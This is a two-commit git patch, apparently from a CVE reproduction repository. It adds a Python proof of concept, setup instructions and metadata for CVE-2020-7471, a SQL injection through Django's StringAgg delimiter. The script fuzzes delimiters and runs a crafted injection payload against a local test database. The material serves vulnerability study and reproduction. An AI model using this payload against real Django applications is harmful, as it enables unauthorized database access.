From d89047a9d4bf0f5400580b78060330ebb070d14b Mon Sep 17 00:00:00 2001 From: jinziyi <13121256397@163.com> Date: Tue, 9 May 2023 23:40:14 +0800 Subject: [PATCH 1/2] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2020-7471?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2020/CVE-2020-7471/CVE-2020-7471.py | 66 +++++++++++++++++++ cve/django/2020/CVE-2020-7471/README.md | 52 +++++++++++++++ cve/django/2020/yaml/CVE-2020-7471.yaml | 21 ++++++ 3 files changed, 139 insertions(+) create mode 100644 cve/django/2020/CVE-2020-7471/CVE-2020-7471.py create mode 100644 cve/django/2020/CVE-2020-7471/README.md create mode 100644 cve/django/2020/yaml/CVE-2020-7471.yaml diff --git a/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py b/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py new file mode 100644 index 00000000..5b6023ea --- /dev/null +++ b/cve/django/2020/CVE-2020-7471/CVE-2020-7471.py @@ -0,0 +1,66 @@ +# encoding:utf-8 +import os +import django +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings") + +# Django 版本大于等于1.7的时候,需要加上下面两句 +if django.VERSION >= (1, 7):#自动判断版本 + django.setup() + +from vul_app.models import Info +from django.contrib.postgres.aggregates import StringAgg +from django.db.models import Count + +""" +postgres 预先执行的SQL +CREATE DATABASE test; +\c test; +\d 列出当前数据库的所有表格 +""" + +def initdb(): + data = [('li','male'),('zhao','male'),('zhang','female')] + for name,gender in data: + Info.objects.get_or_create(name=name,gender=gender) + +def query(): + # FUZZ delimiter + error_c = [] + other_error_c = [] + for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]": + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c)) + try: + for e in results: + pass + except IndexError: + error_c.append(c) + except: + other_error_c.append(c) + print(error_c) + print(other_error_c) + +def query_with_evil(): + ''' + 注入点证明 + 分别设置delimiter为 单引号 二个单引号 二个双引号 + 尝试注释后面的内容 ')-- + :return: + ''' + print("[+]正常的输出:") + payload = '-' + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) + for e in results: + print(e) + print("[+]注入后的的输出:") + payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ' + results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) + for e in results: + print(e) + + + +if __name__ == '__main__': + print(django.VERSION) # 测试版本 3.0.2 + initdb() + query() + query_with_evil() \ No newline at end of file diff --git a/cve/django/2020/CVE-2020-7471/README.md b/cve/django/2020/CVE-2020-7471/README.md new file mode 100644 index 00000000..09c70a67 --- /dev/null +++ b/cve/django/2020/CVE-2020-7471/README.md @@ -0,0 +1,52 @@ +### CVE-2020-7471 + +这个仓库提供 CVE-2020-7471 Potential SQL injection via StringAgg(delimiter) 漏洞的环境和 POC + +### 受影响的 django 版本 + +- 1.11 到 1.11.28(不含) +- 2.2 到 2.2.10(不含) +- 3.0 到 3.0.3(不含) + +### 下载使用前需要如下操作: + +1. 安装 django 漏洞版本,我测试用的是 + + ```python + pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple + ``` + +2. 参考 [https://www.runoob.com/postgresql/windows-install-postgresql.html](https://www.runoob.com/postgresql/windows-install-postgresql.html) 完成 postgres 数据库的安装 + +3. 新建数据库 + + ```sql + CREATE DATABASE test; + ``` + + +4. 修改 sqlvul_projects/settings.py 里面的数据库配置,如果上一步你安装用的默认配置(包括设置密码为postgres),就无需修改任何配置,可以跳过这一步 + + ``` + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql', + 'NAME': 'test', # 数据库名称 + 'USER': 'postgres', + 'PASSWORD': 'postgres', # 数据库用户密码 + 'HOST': '127.0.0.1', # 数据库地址 + 'PORT': '5432', + } + } + ``` + +5. 通过 django 初始化数据表 + + ```shell + python3 manage.py migrate + python3 manage.py makemigrations vul_app + python3 manage.py migrate vul_app + ``` + +然后运行 POC 脚本`CVE-2020-7471.py`就可以了 + diff --git a/cve/django/2020/yaml/CVE-2020-7471.yaml b/cve/django/2020/yaml/CVE-2020-7471.yaml new file mode 100644 index 00000000..aaf140a7 --- /dev/null +++ b/cve/django/2020/yaml/CVE-2020-7471.yaml @@ -0,0 +1,21 @@ +id: CVE-2020-7471 +source: https://github.com/Saferman/CVE-2020-7471 +info: + name: Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。 + severity: high + description: | + 1.11.28 之前的 Django 1.11、2.2.10 之前的 2.2 和 3.0.3 之前的 3.0 如果将不受信任的数据用作 StringAgg 分隔符,则允许 SQL 注入 + scope-of-influence: + Django 1.11.x - 1.11.28 + Django 2.2.x - 2.2.10 + Django 3.0.x - 3.0.3 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-7471 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-7471 + cwe-id: CWE-89 + cnvd-id: None + kve-id: None + tags: Django, Sql注入 \ No newline at end of file -- Gitee From 4453ce81451df9b4ff70ef7a95de721ec0ce52dd Mon Sep 17 00:00:00 2001 From: jinziyi Date: Wed, 10 May 2023 01:48:39 +0000 Subject: [PATCH 2/2] update cve/django/2020/yaml/CVE-2020-7471.yaml. Signed-off-by: jinziyi --- cve/django/2020/yaml/CVE-2020-7471.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/django/2020/yaml/CVE-2020-7471.yaml b/cve/django/2020/yaml/CVE-2020-7471.yaml index aaf140a7..a57824fb 100644 --- a/cve/django/2020/yaml/CVE-2020-7471.yaml +++ b/cve/django/2020/yaml/CVE-2020-7471.yaml @@ -2,7 +2,7 @@ id: CVE-2020-7471 source: https://github.com/Saferman/CVE-2020-7471 info: name: Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。 - severity: high + severity: critical description: | 1.11.28 之前的 Django 1.11、2.2.10 之前的 2.2 和 3.0.3 之前的 3.0 如果将不受信任的数据用作 StringAgg 分隔符,则允许 SQL 注入 scope-of-influence: -- Gitee